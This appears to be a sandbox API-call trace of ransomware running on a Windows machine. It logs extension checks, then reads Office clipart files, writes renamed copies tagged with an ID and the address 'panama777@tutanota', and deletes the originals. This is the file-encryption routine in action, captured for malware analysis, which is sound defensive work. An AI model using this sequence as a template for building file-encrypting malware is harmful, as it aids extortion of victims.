	[0254.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.870] lstrlenW (lpString=".doc") returned 4
	[0254.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.870] lstrlenW (lpString=".docx") returned 5
	[0254.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.871] lstrlenW (lpString=".pdf") returned 4
	[0254.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.871] lstrlenW (lpString=".xls") returned 4
	[0254.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.871] lstrlenW (lpString=".xlsx") returned 5
	[0254.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.871] lstrlenW (lpString=".ppt") returned 4
	[0254.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.871] lstrlenW (lpString=".zip") returned 4
	[0254.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.871] lstrlenW (lpString=".rar") returned 4
	[0254.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.871] lstrlenW (lpString=".bz2") returned 4
	[0254.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.871] lstrlenW (lpString=".7z") returned 3
	[0254.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.871] lstrlenW (lpString=".dbf") returned 4
	[0254.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.871] lstrlenW (lpString=".1cd") returned 4
	[0254.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.871] lstrlenW (lpString=".jpg") returned 4
	[0254.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.871] lstrlenW (lpString=".doc") returned 4
	[0254.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.872] lstrlenW (lpString=".docx") returned 5
	[0254.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.872] lstrlenW (lpString=".pdf") returned 4
	[0254.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.872] lstrlenW (lpString=".xls") returned 4
	[0254.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.872] lstrlenW (lpString=".xlsx") returned 5
	[0254.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.872] lstrlenW (lpString=".ppt") returned 4
	[0254.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.872] lstrlenW (lpString=".zip") returned 4
	[0254.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.872] lstrlenW (lpString=".rar") returned 4
	[0254.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.872] lstrlenW (lpString=".bz2") returned 4
	[0254.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.872] lstrlenW (lpString=".7z") returned 3
	[0254.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.872] lstrlenW (lpString=".dbf") returned 4
	[0254.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.872] lstrlenW (lpString=".1cd") returned 4
	[0254.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63
	[0254.872] lstrlenW (lpString=".jpg") returned 4
	[0254.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.873] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.873] lstrlenW (lpString="AN02559_.WMF") returned 12
	[0254.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.873] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=6632) returned 1
	[0254.873] CloseHandle (hObject=0x330) returned 1
	[0254.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20
	[0254.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.873] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.873] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.874] GetLastError () returned 0x0
	[0254.874] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x19e8, lpOverlapped=0x0) returned 1
	[0254.875] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x19f0, lpOverlapped=0x0) returned 1
	[0254.877] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.877] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.877] SetEndOfFile (hFile=0x328) returned 1
	[0254.877] CloseHandle (hObject=0x328) returned 1
	[0254.877] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.877] SetEndOfFile (hFile=0x330) returned 1
	[0254.881] CloseHandle (hObject=0x330) returned 1
	[0254.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1
	[0254.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.881] lstrlenW (lpString=".doc") returned 4
	[0254.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.881] lstrlenW (lpString=".docx") returned 5
	[0254.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.881] lstrlenW (lpString=".pdf") returned 4
	[0254.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.881] lstrlenW (lpString=".xls") returned 4
	[0254.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.881] lstrlenW (lpString=".xlsx") returned 5
	[0254.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.882] lstrlenW (lpString=".ppt") returned 4
	[0254.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.882] lstrlenW (lpString=".zip") returned 4
	[0254.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.882] lstrlenW (lpString=".rar") returned 4
	[0254.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString=".bz2") returned 4
	[0254.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString=".7z") returned 3
	[0254.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.882] lstrlenW (lpString=".dbf") returned 4
	[0254.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.882] lstrlenW (lpString=".1cd") returned 4
	[0254.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.882] lstrlenW (lpString=".jpg") returned 4
	[0254.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.882] lstrlenW (lpString=".doc") returned 4
	[0254.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString=".docx") returned 5
	[0254.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.882] lstrlenW (lpString=".pdf") returned 4
	[0254.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.882] lstrlenW (lpString=".xls") returned 4
	[0254.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.883] lstrlenW (lpString=".xlsx") returned 5
	[0254.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.883] lstrlenW (lpString=".ppt") returned 4
	[0254.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.883] lstrlenW (lpString=".zip") returned 4
	[0254.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.883] lstrlenW (lpString=".rar") returned 4
	[0254.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.883] lstrlenW (lpString=".bz2") returned 4
	[0254.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.883] lstrlenW (lpString=".7z") returned 3
	[0254.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.883] lstrlenW (lpString=".dbf") returned 4
	[0254.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.883] lstrlenW (lpString=".1cd") returned 4
	[0254.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63
	[0254.883] lstrlenW (lpString=".jpg") returned 4
	[0254.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.883] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.883] lstrlenW (lpString="AN02724_.WMF") returned 12
	[0254.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.884] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2108) returned 1
	[0254.885] CloseHandle (hObject=0x330) returned 1
	[0254.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20
	[0254.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.885] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.885] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.885] GetLastError () returned 0x0
	[0254.885] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x83c, lpOverlapped=0x0) returned 1
	[0254.887] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x840, lpOverlapped=0x0) returned 1
	[0254.888] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.888] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.888] SetEndOfFile (hFile=0x328) returned 1
	[0254.888] CloseHandle (hObject=0x328) returned 1
	[0254.888] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.888] SetEndOfFile (hFile=0x330) returned 1
	[0254.890] CloseHandle (hObject=0x330) returned 1
	[0254.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1
	[0254.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.891] lstrlenW (lpString=".doc") returned 4
	[0254.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.891] lstrlenW (lpString=".docx") returned 5
	[0254.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.891] lstrlenW (lpString=".pdf") returned 4
	[0254.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.891] lstrlenW (lpString=".xls") returned 4
	[0254.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.891] lstrlenW (lpString=".xlsx") returned 5
	[0254.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.891] lstrlenW (lpString=".ppt") returned 4
	[0254.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.891] lstrlenW (lpString=".zip") returned 4
	[0254.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.891] lstrlenW (lpString=".rar") returned 4
	[0254.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.891] lstrlenW (lpString=".bz2") returned 4
	[0254.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.891] lstrlenW (lpString=".7z") returned 3
	[0254.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.891] lstrlenW (lpString=".dbf") returned 4
	[0254.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.892] lstrlenW (lpString=".1cd") returned 4
	[0254.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.892] lstrlenW (lpString=".jpg") returned 4
	[0254.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.892] lstrlenW (lpString=".doc") returned 4
	[0254.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString=".docx") returned 5
	[0254.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.892] lstrlenW (lpString=".pdf") returned 4
	[0254.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString=".xls") returned 4
	[0254.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.892] lstrlenW (lpString=".xlsx") returned 5
	[0254.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.892] lstrlenW (lpString=".ppt") returned 4
	[0254.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.892] lstrlenW (lpString=".zip") returned 4
	[0254.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.892] lstrlenW (lpString=".rar") returned 4
	[0254.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString=".bz2") returned 4
	[0254.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.892] lstrlenW (lpString=".7z") returned 3
	[0254.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.893] lstrlenW (lpString=".dbf") returned 4
	[0254.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.893] lstrlenW (lpString=".1cd") returned 4
	[0254.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63
	[0254.893] lstrlenW (lpString=".jpg") returned 4
	[0254.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.893] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.893] lstrlenW (lpString="AN03500_.WMF") returned 12
	[0254.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.893] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=9240) returned 1
	[0254.893] CloseHandle (hObject=0x330) returned 1
	[0254.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20
	[0254.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.894] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.894] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.894] GetLastError () returned 0x0
	[0254.894] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2418, lpOverlapped=0x0) returned 1
	[0254.975] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2420, lpOverlapped=0x0) returned 1
	[0254.977] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.977] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.977] SetEndOfFile (hFile=0x328) returned 1
	[0254.977] CloseHandle (hObject=0x328) returned 1
	[0254.977] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.977] SetEndOfFile (hFile=0x330) returned 1
	[0254.979] CloseHandle (hObject=0x330) returned 1
	[0254.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1
	[0255.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.273] lstrlenW (lpString=".doc") returned 4
